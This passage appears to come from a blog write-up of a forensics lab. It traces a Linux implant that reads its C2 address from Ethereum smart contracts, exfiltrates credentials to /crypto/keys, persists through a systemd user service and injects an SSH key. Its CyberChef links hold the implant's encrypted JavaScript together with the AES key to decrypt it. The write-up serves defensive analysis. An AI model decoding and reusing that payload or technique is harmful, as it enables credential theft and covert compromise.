PcEZrcjhVdTBwS2M1S0hKSmhsTCtQczg2eWZMR2Qwc3pKK255cVViZTlLUGszM285VWVKaU1FdGFTYXBSWVBFQ2NUUUI5QVhhYjdBK1BSTFNvUmE5Ry9vbHVRWVVKNktIekZDdCtMNzgrUUVWZ29OVWI4QysxZlBMN0VXckhRU2JTc0tzcDNMOERQNFdOUDl5MktzMnl1MWhNQS8rSG9GK0RBd05BYzhJclBnNkJjZEVlNEhRbTRWR0dxaks5SlMyeFZTY2hQTnhxYXRZa3ZxdzNBd3gwZlR3NXordzYrUk9rRTlCZHAxajZKRWpUMi9jYklWZ0ZvT3dSbjBnanlkVXZMTVdwZzdBOXM4dzdnQXQrQkdtT3VqV3c0NUZkNkF6QUY0R05haGtPMll5Ti9BN3JFaWdUQ2dadi91RUhYeU9YM2s1Mmo5ZFBxVE4zK3kySk5PZGsxQXp4THZpMjd1RGRrVHEvOW5sY21IRGIvaTUrTUMwc1ZmU0FNR0NYcFdRODc0WEhZOExaZ3liU0x6STlnSHpwSjBMODJ2NlF5dHhXVldrU05rVy9jS1VwTGdiNTdEeHFnNGRHS2sydmJPRUxCR1k1YlNIU2x6R1RzeGk2Y2owbXFsUDU1cThuMk16NWVSYisxclRtQVNPUzVTVk1PWVJsZ1M2TW9ZdkRVSzY0UVNmWW9SSFFaZm1nMWxIT2dMaDEvaHgwVGlsQ3M3T0drREQ3c0ltVElIdWpGZ2ZsZFh4WW5nRWRoL0F0bXlwbWxjYktnVEZsbWlCL3ZkQ1lmN1JPMEk4eVhXQksyeU81bkRsNUJyVUsyTDRVRzZXZm5jejZZQ1Z4bHhGWU9seUx4cUhyRHJONERtSm94d05WdFY4NjUwMTBkVnppMWVCVUNraHNrLzJPbm9UYU5kbHZKYms0QVlld1luTEtlZnJiQ1dvaXdzeFl0bEpTTWIyamUxMURUNjBSeTkxWDhPNk1ZdW1tSTkxVWlpUmVSYkdtb000b1hZMkxGNXJBSmpWcFd3VXdkSGlBTWlTbUJWTWJ6ckNucE5WN2xYVU1NVzR6bG9oMjNxa1FaM0pIYzh0RElLOU1nQWNtb2VUMyt4SXFBMG5lOXp0cnppMlBkYVdpeEJOVmMrczNMSllmZldkSVhKVDhaVUw0U2NFQ21sdXU0aC9nNFpoWGcwbVZOVTIwR2JobFZkSWZORlkySEMrbnRqejgrcVlLOFl0Ti9rU1ZEK1pLQTgzZnpGamh5TForeVJkVmI3M3ZVQmFZSFFNNWZJSTcxQ3VGbkpFNjI1UWltYVh1ZWZISU9PSXlGcDEzSWdkWlVHb3dSdTdxc1c3OVB0Z3ByTUdVWUl5dE5wMXYzTnNYek14R0tLYTRJZGtnNWdodHkwZ3BsOWhqQnlhMzFDQTJZaGdtNzZtMUt0czdsWEk5NE5Fc2tvc29ZQ0d6TEVvR0N1cm5TZHVTbzVPdkVBMEhuSWFHWk5JM1ZDSEF3WjE1dlZYOFRxVTVSa0djTVVzVEhFaS9qaFcva1R3d2RsWUU3bUgyZXJ6cUxRTXBuRkRBTUZUaEJZbWZ0TitjZDIvNjFQdnhUQkh4L3FrMVNFZUxFUGtTVWhacUYzWEg1SkU4SlRUS3owZkZnMThzcXYyS090Nk1lYytWdjQ4ZExjMDNzWnBBdWJUaXFhOGhncmp3OWN6a1JieTdvblVnUUw4ZXFTdXlNeFpQczlKTkdzR2VyMG5kS0pSTVRKRlJXMnNqVW1RY0IrN040TCtuVGw1MDgwaEs3UW9CRXZtYkdremNIR2IzRktycTR6NG9MdU9raUdmTHhBN0NVTW1hYytWbnlKd3czSkFORGdmMUUwbmlHUkwxaWU0NlNKa21KaGJYS3krTkhLb1BzTU1OVCt3L2RkRWFsdU5wajFXMFdGN25tUWI1VUF0aUdRTFUzZGFSVkFjaWRsZzdXMXZBUmg1TlNKRGZGcHVQNGkwdTU0NjU4Tm5YNHZhT3FOZFBTcjdaR2daUU4zeC9VeDExZ3d2cEY4Mmo0SVFlR0tQQ3FVQVZsc2hFeUNiUFpiSURDYUx1cHFZR0w1dGpvVkVjaDFEN3FPcC9yemwwVHlEMHB0OE1VTGtQZWVsR0J1YnA5dG5hZG1MQVowZ3NLZXFPeTlkc3FoTDRudUhzOXgxZmZQK25mZFpMMTcyN1BGbHdGbFVOdS9leVpBYjdZclo5RGplUndvTzRxckRnWTdvUzFPeDl1dVYyRmF0V3JHZXdVSE8raFpEOTFqeWlMRHJscVdQVytjVWhPZmZINFZsd0ZDdWlMbXFyUXFhOG9PVHIxREphMGhTZFA3akoxZkFkZTdWR0diZ3ZLWHZMQ08xeFFDNjJoaTdsZi9tdTVzTlpycE93bGl5NWYzQk4zeVZSV3MwSlFRNWpzTHlRYlRZWEs0K0pxNUZMVnBOcmg4R29rcU04OUFvdjV6UFY1NVVOazZMUE1ldXp4NXdTcDJDY2hlbncrT0pmRFl3STBGMXl0cDkwcmRyU1dCWHlwcXd4eGsyc2pDVkVPNHVxUWtZZ3ByRmlxdGZLL3czYlVlN3hxQWttaXVZaXVZUFA5YmJlU09tQkRRSUVCQURjTVUwVWVsR0pOTG1DZzRtUUNJZkpmVHBBZEJWWkhFMHQ5bmRhWjJpcDZkKzlrY3hxVXNSckY2UGpHYXdzNC9EUlhObGl3MVV3dFdqa1hhQnk0WS9EcVZ5Z29DZk1UU05Zc29McVZOWjZoQWNEbnBMSGpVbWhPdytxbm5aOCtUZ282aXlQYVJ2MS8xcFdZSVdQVEVra0NLNmtuM1UvZi9qOWhsYlJvYnM5RmY3UEYxb1ZwSTRreTY1V1lrdi90Y0FhRFErUFptUlhxU0J0cVcwUEJaSVltNGg5R0dRbVl1RlVlUndqaHlBK0IzZ2ZkUFhLV3kvNHBjNzd4SWJaMzJUZlBPMUZMZ09PSWlIL2JXYTZoMktDVElzNTFydlpIUjBXT0xWVTBLT2FnSVFBdWpCN1h2dnFDSjcvRmk2VDQwNkM1SUx5ejEwUTdmRitla2ROb3FQbmt4NGwzS1p0TENYV1RqM3dOSDJRNHBhUGpzYlBZQ0RZQlJMK0N4TkFHcmxpdGlQVWNPWHc4MDJEWEprbWE4RTlWMXVLbkw2WWJ1SVhHc2Y1U1JNZ212a0RIQi9scFdybE1pL2d3ZmVaYlVqT2ZLclppZzROMHF5bW9QSHFRWmtDWnUwUG1nMy9ISzd2a1RxMnlWUjQyTE5ybWpJRVNJcDZUSTNqcy95SU56KzhCaFpaaGJ2WTQ4dzdjZU1NRDhVR1RFWmR6WStVcnF2N1pGY0N2SkwwYm9FbVRVVXUrNmU3TmpCdU9wMDBZNnRyOXQzYnRZeHVDTlZQdS9RVGV4NHRISU51WVE4dHhhbit2V0MxRjFkQXhsSHFvS29qWHR4VkErSGcxQjk0R0NWWTAxVTBRa2FNbFYwcVg1aCtqTTFLNGFzQXJpTEhEa0szaFRMSmMxRzgwSkFMOVA1cWdmRjZaQ0NESFZ6NnBpZjNQR2s4cG10WTBBbXI3bC8zOW44RExISFJOSHgrOCtUcHJMTGFTNlNFRys1QnZMRnNoejFPYUFTWkp0RnNWWnVLcVlIRVBhbHlwcVl4Z2xQaFlQR1V5SDA4Vmp6SmdVREQrS3lWeEplTndjSXNCdWRDMUkyYjJtbWdPTzNsVlJtbDh2bVlaM2NZeGNYKzc1L01YanpZZTJob1NkZTNad3A0T3lwdEdxRU5vMkZzc3JyYUJVeG5kV1BMc3FMUGZFY1U3K2E1VWNWNzltTjlENXdydzRIVzJVVHJ6b0FUV2JtUjFSM3R4WVNJVWNnRC81SExrTWEzVWh4aDdBQWhZUlRmV0FoRTdZaVQ5TUVVTTlSN01VUnJ4clJrdWdUZXhOY1FCdXE3VE94S1dWclpMcUdHN29jajFkbWQ3V3cyMkFxaW5sZTdZcGpqb1E0TVhGT2VIWThrbmtJTnAzajlwaXJ3MXBMT2VIN0hlcUJKNmkxRmV2V0VFYUo0bHJlRmFmZ3R3S0R6dnJlYUc1QXBpYk1NMndkYytmWUdrRmNSOWhzaDFJWFhsMjE3NFNtU0JRaXoyQWZtZW82Ly91THVPcFNpS1lFWm1Wc0NwaGlGVHdMeGJWMVlBdXlsVU1xUFYxWkFrajlwcUowK2xXMW9ycUd4eUFZOTlMb3dLaUpleGJ3aGo2WXVHTVFlRGNsdU5SbitrU0RGMWlhRlJQVW9ST0d0Sk1tM3EvZWlMc2lNKzNzQU8vUDhLeVlNVW9YRDFXRDEvY0NPdDI1bFIwcEp4RXpVV05EcVJyMmw0TnYwRXZRVkYrbm4xSlYzUlpuSUNjRmtwd2VsZlhDVWtFR3VneW0rQUR0TnBJSWRaTncrTjFqQ3VERzRUaSs4Vy9kYmU4RytHNVZoaUpLVXhTNGlnSUFlcXk0U3E5UVU4emU1NFA0VlhnUHpvM3htOFJUQkd6enNTcUdMd1dVOFhOdGVPSFVmcEJaZ0VjakxaY2piMFNzRmhtR0JTQ042VjJuenBnS3FSUy9Sb0tiMVZyVXhSNTZYdkc1bGNNL3VrSThFcHBSSk42Y3ZFRTZQbW5vMEdsTzdCL2hKdWxHc1Y2cU9QNFVWYXY4VElTNzFhWTdIQnZJbjkrdllPcjVyb2RTZ0MwcE1PZitvQkdMbXpsTHRuZ1E4aWZwOHVFZHBBZGRQTGd2L0N3Nk5KL0UyQ3FkT0YzVVYvQkpIeWI1a0dtTk5WS2luOHdzWTRjbzJzVzFvcmNSZWRCOENpcE1MYkxNMzlWVXpXK1V4QWJWbmlYNFN1OHJZOTA5NzF3Zy83c2xPL01sUUJlcHUvWkZYRUYzL3VVN2FVM250WG5wMUhyNVJFMGdhc29EWjl0ZjZJMTNDMm1zdWVkUWtpa2ZmT05MWFJwdTRHZHpRTWRqejlxcnE1VVRMZ2pjODYvNlZYQi9GUTR0USttZUNEUTd5NEw4ditQTG9QV1Z4QjdKb3hLY1B5dlk4QlRlUHp5MnJ1clhBamxVUTBpeURaRzVTQmNkT2hYQ3RDbHc1OWpmRFVrRS9PNTRBczFzcGRYa2UzVU5xZWNydlI0ZC81WmcxaXIzSzFFUXlxTkJRbmJKRU51NGx1dHorTjJBM0dlaDhPaEpGckRNeVQ5d09HN21hSDkrQzZWV3FOelBzNTVHdzdUajVtVGlSNURDbDNKTEhDUzA2TkJYdE81eGx6cWJaSlBQZjZLUnJnalJYUEc5NDlWR3FWck5HYldZenRNMlpGVyt4YjM2ZXJ0M1N6N01aWFVjMTRuemdRaEpEK3lYTXFVbUFGOUUvL090QW56cGxXWDRuWWdLTjI1aUY0bW1PWEpjeWMyU1FsVlVqQlYrUWtVNEhXOU9yZmdHeXRTekcyS3ZHMEM3bVpkLzNGK3p5blZ2d3o3djlRbE5EK2pQKzlXWGFnOG56WjJTeGlFSXVoTXVsL1MxWWRFbDNlbTcrY09sTnFiamNYNXJZcFEzZGpDVmw4dEFYbnJZZkxYYzYvQjB1UWlGVUZHRkxuekMyYXF4WVFiSDQzeTFlc2IveVhQM3FwZ3BtLzhsQmYzYXNvQ2Y4OU9aaTZ1b3grL2tMQWNacU91VEpNY0cxc0txMUFRbWgvSGZhSk45UXBDb2lLcXd0aG5pUDlIeG1wdFhuU2d2WFl4YTVIRU1XYmlVVXc9PQ0K&amp;ieol=CRLF"><strong><em>link</em></strong></a>), and get the answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XwliWI_7zc0yc9ZqmStimw.png"></figure><blockquote><em>ru</em></blockquote><h4>Command and Control</h4><blockquote><em>Q7: What are the two smart contract addresses used for C2 resolution? (Format: in the order they are queried)</em></blockquote><p>from the same previous decrypted Code, we can get the addresses directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*hE0YcyeMOq54R9g3W-bnxw.png"></figure><blockquote><em>0x22f96d61cf118efabc7c5bf3384734fad2f6ead4,0xb0cbaA51b3D1D36e8E95F4F68dfBd47ED2eaA7a4</em></blockquote><blockquote><strong><em>Q8: </em></strong><em>When was the primary smart contract deployed on the Ethereum network (UTC)?</em></blockquote><p>from the previous image, we can determine that the first contract is the primary one, so let’s check it online (<a href="https://etherscan.io/address/0x22f96d61cf118efabc7c5bf3384734fad2f6ead4"><strong><em>link</em></strong></a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aPd7rSCxmtWKETFs0FWJhA.png"></figure><p>from etherscan, we can can go to the full contract and get the timestamp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K1b49WyqSRaq0eCbTt5lBw.png"></figure><blockquote><em>2025–12–05 19:13:47</em></blockquote><blockquote><strong><em>Q9: </em></strong><em>Since the smart contract is deployed on a public blockchain, its source code can be obtained.<br>What function name is used to retrieve the stored C2 URL?</em></blockquote><p>in my case i used the <strong>Dedaub (</strong><a href="https://app.dedaub.com/decompile?network=ethereum"><strong>LINK</strong></a><strong>),</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8fF323Jdez5fYAMyCYgJfQ.png"></figure><p>Now, we can put the input data we found in the contract into <strong>Dedaub:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oh81N33V8YqCkQcYZ8AOwg.png"></figure><p>just like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G154ODPFOTdcasi-ynJKSw.png"></figure><p>and now it’s decompiled successfully:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qowzdk5elLA4qgRVlVLxvw.png"></figure><p>it’s basically a minimal storage contract that lets an address store and retrieve a string mapped to its address, so let’s take that full string and decompile it again into <strong>Dedaub:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*iVRw-hfNFZW_GSOVoEfn8w.png"></figure><blockquote><em>getString</em></blockquote><blockquote><strong><em>Q10: </em></strong><em>What is the transaction hash of the first C2 URL published to the primary contract?</em></blockquote><p>investigating the first transaction hash as shown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tl53TdpxIJJqTDop5dbvyQ.png"></figure><p>investigating the Input data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M4ecRRDl-w8AJdJY76sHDg.png"></figure><p>Decode Input</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NOsjBzDnt2Qf37-HFYDD_g.png"></figure><p>so yeah, it contains the C2 URL, so hit the transaction hash for the answer</p><blockquote><em>0xe4efe4d2b118229161f7023e13ab98b54180fbfb1756d11959e4f19238b9655d</em></blockquote><blockquote><strong><em>Q11: </em></strong><em>When did the implant retrieve the C2 URL from the blockchain (UTC)?</em></blockquote><p>falling back to our pcap file, we can use this filter: http contains "eth"or search for eth_callsince it is the JSON-RPC method used to read data from smart contracts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kJb0Po9Gj_4QQTvyq8uz3Q.png"></figure><blockquote><em>2026–02–10 18:37</em></blockquote><blockquote><strong><em>Q12: </em></strong><em>What C2 URL did the implant retrieve from the blockchain during execution?</em></blockquote><p>we can see here the traffic direction:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FxTlLcV4mhsHLUPEabMbMg.png"></figure><blockquote>https://63.176.62.199:443</blockquote><p><strong>Q13: </strong>What is the Bot ID assigned to the compromised host?</p><p>the same previous packet, we can get the BotID from it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rkpXQSjskvGmv3a0Wg8Vvw.png"></figure><blockquote><em>4ebfbc8aedf60511</em></blockquote><h4>Credential Access</h4><blockquote><strong><em>Q14: </em></strong><em>Once connected to the C2, the implant started executing multi-stage payloads.<br>What is the endpoint path used for exfiltrating harvested credentials?</em></blockquote><p>checking all visited URLs, until you'll find this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vd-LrB1oTn8r6Thr3wBmqg.png"></figure><blockquote><em>/crypto/keys</em></blockquote><h4>Persistence</h4><blockquote><strong><em>Q15: </em></strong><em>What is the filename of the systemd user service created for persistence?</em></blockquote><p>Since we are looking for Linux persistence via a systemd user service, so the goal is to find where the attacker creates or references a .service file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JVtINF_p-jFg3ydIBAWeaQ.png"></figure><blockquote>c16a536e1a9cb42d.service</blockquote><blockquote><strong><em>Q16: </em></strong><em>What is the comment field in the attacker’s injected SSH public key?</em></blockquote><p>we need to know first that the structure is like this:<br>ssh-rsa &lt;public key&gt; &lt;comment&gt;<strong> </strong>, so by the filter : http contains "ssh-rsa"</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N0xvHlOKrtLg1po0UNKyWA.png"></figure><p>single lonely packet, let’s check its TLS stream, and get the answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8TMfQfUI5fg2j8vj-LntLg.png"><figcaption>BINGO!</figcaption></figure><blockquote><em>maromalix@ether_dev</em></blockquote><h4>Execution</h4><blockquote><strong><em>Q17: </em></strong><em>When was the first remote command executed through the C2 channel (UTC)?</em></blockquote><p>this question and the next one <strong>Q18</strong>, have the same idea.<br>from reading the full decrypted AES js file (<a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'a3f8b2c1d4e5f6a7b8c9d0e1f2a3b4c5'%7D,%7B'option':'UTF8','string':'d4e5f6a7b8c9d0e1'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&amp;input=MkhWbmxwUnh3SnlNRjAwWDlXamxTbDV6MkcrQnB3ME45MGVKQWtsRzJZdmVBdEJnTldDUDZHT1VHNXRNZjBxQzRRaVM5TGRBQnFJcGZyRFJ4Wnl5Yzh3alN6cDNZUVZETDBUMm82Zi95Ny9WQktGMTAvdjZ1M1JBZ0VZQU9iS2dkNGJzTnNMZmkxQ0F3Q3RhY2xlSkZIV2dGQ3NLZGtLaGhqL0Q0MC9qTnBnUHhkZE55QlM4Ni9jaG9KeTRsTWovTXdmMmhscWluQ1FkbmJGQXkyeDBrSzJxVGZKMmRyOS9TcDlRMkZQQnNKWDd0RUF1REE0QkRyTjdydzVVQ2Y1dGpEbUt0NTZGdnp2Nmlxcmlxb2dSVWVLTDgrVDFZMkVUNGJwUTRwczF3bHZqMzErQlVoVHkvRXNYWm42bzY1MkQ3M1dMYW9WRC90L0NPR09yNXErNXZ5ZjJkeXRaK0ZSTW1pSXZtK2xuVzlDMlFZc0xxYmRxNnNRRWRoU254dm5vUzRUTkhqMzZPdXIySS9JcXhZbXBCREFzYkZucitLSXA1cnRTUFJGUng1QWx5Tm1tbTBFNHArb1l0WUxHbVFlTlFNU2RGWTUxa0FhZGpoNEhzTVA3eEdaYW9Rekc5V3RHYjc5LzgvSEhjOGxTcFpWL2JieVQ0YlN3a29zWjFlRmVlU0hLaFZPczU3UDhCRHEwaXFwTXI4RmF2TmVPUU41VFNOUjBicHppendHUjQ4aGNEdmp0cVdlcndHQlhZNkY1NGFsUzhienVUOUFwS3JFS1hEUksxeGF0M0NkREJDbzdjSGx0a3NveHVXckx0TnRaK1F5ZEEycm5PWVh4UzExQkYzNGl5WDdZSlB5K1NWN2hjam9ZcnZjdUxaNElKY1RpWkRQY0xNNmtBM0t6Tmx0cjdVQ29BdjV2dVh2clk5YmVrV1pZRThHd24wNWJQcVNHOWZYb2xmOGtLTHFXTU5HUjVQS2MwYkRjS2RHVXhKT3MvaVlGWDFXeG9LZThkVkswRE14WTlZWUJ2czdmd3I3YXdTWHpOcnJQM0kxbzVZR0RmZ08yQXVTNXorODlvcWZGSFJlSFY3ZmxWL0lySWg1NXFXME1aWmVGSW5uaU01Ny8wd2VqUERaTU5sRmR6V3pObUxkbWRVL0VmWFNXN0hFMGZsSUQySmluZU8wNFJkSU04bTRiR016alRYckU3RW9jSExhZDBEUWZlV0tNTGRNN0hOTWYxWkxEeXlxRlJWZUhKbWhuNklBL1F6T0dSOTlnbWdFVHUrZHdrSUhTWS9QdzlFcTVqWG5FVGNKaFVxeC93Q2NwSVBLUllZOHRHNHNQUURtZEdIUmJac2V1RDVzQWFyRHNWU1B2MmtxbXUzK0hsdTh6eUJLZlBLQUlCeGpSYmtoNnNOMXE4MHVKYm9kYXVPZ2E2MDhiU2NmVkRGY0NCMldIY2RROUlrY1A5Y0dBdWt1aGptSFltYzZIY2NqSWYyeWVyZ01YNHJQVkRqQWU2RVdwTTR2WTN4MmNwQjY2Nlk5VmdQM2lIbVpNRVNEbEpXMlBiVE41RE1oRVp3Z21mZXdYazFtQTlMTEpXNWpHVUErR29KbldFSVhrbnhwb0Ywdk1pSFVkRWFPK0xqNjJMcTFmU2VBZUdqRVY1NmtJc3p5cHF6TWtIdmtqSTFNakVTQWtZU3A4bHBRSyttZHB4aGh2ZjlDbUZhN3NoRlBRSHBsb1pSUHJpMjF2QVVzTjEzSXFEQmZvT2pKZFpIN1JlN0xyNkdNb0xMQkx4bDhYUUplWllZQVE0cFZ1UXpxa2hWM29KQ3lvNjExYW9jSXExUnhPMHA3TTZNMVVXYWhRWllIWE1PYzdQcjg0RWlSSU02aUd4d2d3NCs0WXhHWkE3RTgzanhobWVPZVRnRHczTHZUY0VEeDQvUUN6LzlTcjlBRzY4eGp1emg5UHR0TjVsQ2QwTVUzQ2o3dWdpelNQZ0hVMEdFMEJCWElmUVFtalA0UVBya2V4WkcrVXZVZDBKV2FOZjhYUnNKZ2FyY0xCQlAxV1pqbGQ5d3U5eGx5VnpJNXZBL2ZialRrUFcwOWFYbmlqQVJFQzFEejlEaG96dlM5S0x5bnA4MjQ3K2MrU3VsSVdrMTh4aDJ6YmxJZEl6R056bmFVSjJoN1hHRXZOVkxlamVLOC9oUWxnekV6ZUVoV1dJK1RpblB6S2FUZTlsWUVLZ0FOcnYyb0ZwcDg2Z0dSclh1YkZqODNVc0dmZFoyQy83OTVNbXBhMVZkczhNV0FkeHA0THlHcDhraWRTQkFwRHoxdUUxTWh1VUs4b3l2M0JsYlJCankzemozbVR2UFRzNUJ6aWZXaVVmekM1V3VUUEJlU3pXcGo1cmhkK1UvcXV5L01HYm9wbDk4UGRRSllKWDlsaTlUSVZwU3hwOWtHcG14aUtPZnpkL2FHOGdIa1I1ZWxhWGN6aTFyVUJaeDdKU0p4aVpZZjB4UUMyK0ZHeGlZbXl1UHNYK2hGb29IYWNtTGw0UVNGK3ZYdmJJSUg3QkM4c1RxbSswN2lwRGdpLy84UUFzUmM5bnhPMjgraDNOSlM5L003OWdsK1pNanJqWlpzY3BSQzZLa1RCQ2JOY1pHUDMxeHlHTDhPNE5iSnlzYWRaMTBZdm55RXhlNy82M2Uvc2wyK1doNGVXdjlieUJQdFltYnhQWVlQaW9WbzZ6VXpDVUVFczNYTk9MTkFCbjZ3TlNmSGVEVDdGVW9sdk92S05HdldVbURVZUtjZElkdWoyRWUrM1YyMUUwSEkzcjJvQUkyZUZSMzNSN0MwTDZKTFhIUmNiZFpsV2NJdExtSnVQMHVYa3cvbkcrRFFqYWRTbEhONmllSUdjSGlyRGU5NDhMTXhtZVhTRHN1aE9OeWU5SVF3ZFlTdnBPUG83WWZTMmJtMGdpSlNLZDJKaDBacWw3aCtFT0MxMUdheWU1RjFMd0JkU2JEK09OMUxzM0REUzVLeVhraG4xMjFSTWh4bnBxZlE0YUVyUUlIaW55dndOU0k4OW85TW50WkNHMGFWMnNHbGo4VHpFemg5ZUhBWEFpdUEvanp5QUpHYkdNMnlOT1BIODBMUUNkZnRIT2ZqdDVEL3RENU10c3BOZTUyQXdNaDQ0Rm5oV0VJajIxK3ByV3o1NXF1MHpHSHJpekIwOTFxYWJOaFAxclJtZlNrREN3dlFRM2M2blp1Zk05UURidC9UdWJUR2JVTElITXVoY3kzelhUdDBySWdXTlFEN1pCWUdxOUZXM25uWGwweEY5WDVDK3BGRHZLN3pBTnhJZkZLRkFRejJkKzE5dklrdlMrWHFacDk0eW45eS9xZlB4QzVZTmd3VmpNaFhrRnY1dm5nTDVxRDdBeld4RThySllUQTFtKy9PNkdqU2x6OEttb1prcTArU1lDSWc2bGVPb2grSi93YVNUcUdtUitsNjZBWi9sK29UWVhpRkthNS8rYW1PNlF1MnI2UFBlWHg2MFNwaXVDd3hjNUhyMGFiOTlkbnpubzNMME4zSnJ3RGhPTkViaUcyYktDN2xBV1VJdGVKWWN2cGFWSjcyM2xvcmluUDNHa2ZsMXhDTmV4QTFLMnFEZ0x6Sm0rMk1IS2pCQXg5QnBMZXAxRkg0eFFNMytJeklINHVDUVp3ckRjYWY3N2o5aG5hSGVHRUxlcWQrZW1FWVNsckEyd1lBWEQxa0Q2TFVuY3UxU2lIN1liSmREOUoxYUhTZ1hVT244cFNObXZ0dFAxbUIxNEpMTXpPd292d1ViN3pZNEtlOVR4bEVIT01GU3QwNHFOanRKL2pkK3QrRHpWRmdqQUpDWlNaMnpFS1d2K3N2azhuTWo4UW4wTkcxYmFaUXRmdkZQa2lRS3BwOCtKbTI0cjRoUHVQSVdLSVFTclZRbHlOVHAxL0JNRDdQWENtTnNlTWMzdG9iM2NpUXFENGE1VCtWdXpmUmhpbXQzYTFMTHVrblFpU1VreTU2TVNZdURlS1dFOVMwRXVEeCtxRFdsWk5vNzNpOWRWaXlWdjEvRU80dVZnMmpReWx4WFNqK2xQa2c0RGJKTEUydUtYMGhsVHdTaThOS3FjKzk3SE9tSXNoT2VuckVXZ0NreDVUa2lrQWJvVzJhRlhYbkNxV1ZDbmlOalNRWXVjdFpDRWloZFVHWVBxTDk1MVpwMlZYWitUUzArTEptZVFtQjBIeSs0M0I0MGtYcG5UQmgxYk83eGdIWmZGRzhqOTRveGg2cG1qa1hYenh3djk4WDlmQUVKd2dUV0Q1UDBjSG5FOWtHcU9WV3VYMGVZSW9vd0V5ajRheEwyVTFha09FdHgzUHU4YVFZcmFtUDNEN2ZTeWRPVFhrRGJCTFVXR2VYNi90M3JmWmh0YjQwdTk1ZG91dFllVG9aYy9PZXBocStDRWpMQ2RTajRnQ250VE9xa0F0dG5STHY1My9Xc0k0ZzJwdUMxOXVjS3BFVEsyZTRrMm52bVJJQm92cmNIZXFOcXZIOXZqZTRIYU1LcGc3L29ITFpmZm9jWEFXSERvWDBxa3VMLzZtUUtvS0lwazNKM1U2SHY1dXRab0dEa0Z6UkpuRDRHZUZhWFJQVHpSQ3FpTldrR3pjdnREMDhlcEI5aUdVaWdXdm5sSWhCeTBvRXFLZ21BU1MyZmdCYWRxTkxmR04vdkFVUW9uRWh4M3ptNjNmZmFUclBBWDY1V2dUSXkxRDhSMjdvaDRwdkRsUC9Hdnp6RG9ZL1dCSGhlVlBEcFA4TlA1MmVxckZSdXVBSm03SDJ1T1BPUlJ3SWpCN1RTZGFrYTEyck53UnFlSjBqbzB0QU1HdmhHZ083bmxDRDlZOTIveHNWdDNvaXc3eDh1ZUJlRVpYTXM4MEk3dWNzUWtPOGtmR29nakJ3dXE3dlhPbngyN0d0M0pqL0ZBUWFPYkVOaVg0TURhMlkzWXpub0o1bUtvQ3lOUkNCNDFGZm1FdXY4Qjl5TTdaL1lWRFVmcmZsbFhKTTR5OU1jM0VxSEhOdzczUjR4dWFYQU55THpsVS9LZUJiVGZJcVJWNWIwRW9ZZ1YzVEc0dzJWdVdBN3FTMWFuVnlpdUJzR1c3UnhXSXV2dXFxaDFURUMzdkVDTjFVd0YrZ3VpbmRFVlhYQThEOThjYnVBSWVYK2I3VVBqV1cyRlF4eGxtL2VEYml4aU5IUHlEY0tvM3RXa2xJN3djWkY0bTNELzlkakxsUnlLWkthQlAreGtZaHBNRGduV2pMQm5XL05ZV3ZZMUNWL2I5R2I2OEdXZXNGSWRXK0Y1TDZjMjRLT0QwbjdFRUs3UU5neFRGY2hIZlozeDNhY3hJdnN6d3RLS3VSMWF5dXRUTkw5T2puZWw2aTVBUWVJa05ORTZoTGNsTlJyZUZhQWltUzFwdXhOOUZTck9oTVc3R2JmaTRhNHF0eHVGU2VUd0pVUHlzNjcwTnQrMWhQRktBcjg5NmVLRmo4T25XcUpweDV2TXpsMFpadGJ5NmFXSHQyR2EvWnFJTFJFSmdSL2VZT0NtQmdwdm5DL3RJdVNQTUZYN01Tb08zQjJpL2RIdmF4L0ZOK21kUkVOY2JoQTJHYWhJaWlmUFQ5NzlJbkdCZjdKdU5SeXBaeGJwdzU0VUxDNXdWYTBnYklsWVFFYlhyRWdKU21PaU1ndFRqRmlZQXpxaU9SWHUvSlVTS3pzVityVkVYZDRubDlUUWZydElBUXpqTkhvWXd1Q2hEaCtmNjNSNzRZZjZIaVZINS9ZTEFFenI3R1NPRFdNVmIzUElUTHJxSDdKc3JYWTlmNVNDTkRza3NUb0hDcWZiV3lCYzI3d1BQY3pTdC9ESzJJNTB4bk13djR3U084T0VwWUM2Nkw1OEUwN3ZYS3VKSGRpV2VVb3YwS0l1YWJOVXhPcm5rVXRyTW9WN1hLUi9mYzIzdEk0em0yRDEzbWMrVmNOdDRIQmh5ZFFmZno2Z1VMYlY5Qk1HTDhFTkttOXQ2bkcweW8yeHh3ZWF3OGhkUGdhb084ZnBIWW55QzYyTnpGRmtVUXRIY3o3THdBc1g5TjVRZlhsQkpvZ3c4dnppeWhxVWZzcWxHak81Z0JRWWNJOVR0WkhGaWF6VndnYnQrdU5UYzI1Y3dnZWROc1hsWU9zQlNRNHBkRmdTV2d3di84OW9WUyt5QXRTRlJVS0NaMkM1WGdyQUlQNFJWdHNGZFZ2aUZGRG9Ia3RmVkN1b2kzc2xuU25nSEMvejkxWGJ0RnNPMlc4bDZFRlpLSjVKQWJBMWRsUENaVC9RckNucGJWVC9tZlNYTU1aZCt3bnFVd1dzc1ZpMTExblc5bnlsdHRyS2VQT1hwWDdkYjNEWWNhSkFybDNrZ3NGK0ZqaWlQVEh6VXYzdjJjeGRUYXlrbURBVHRQckpqMTBsZGgvandNTUh1R1J5MVBTZURXRGI5QkhlL05vaFBKOU9KZ2tDUGxPVDZna00xU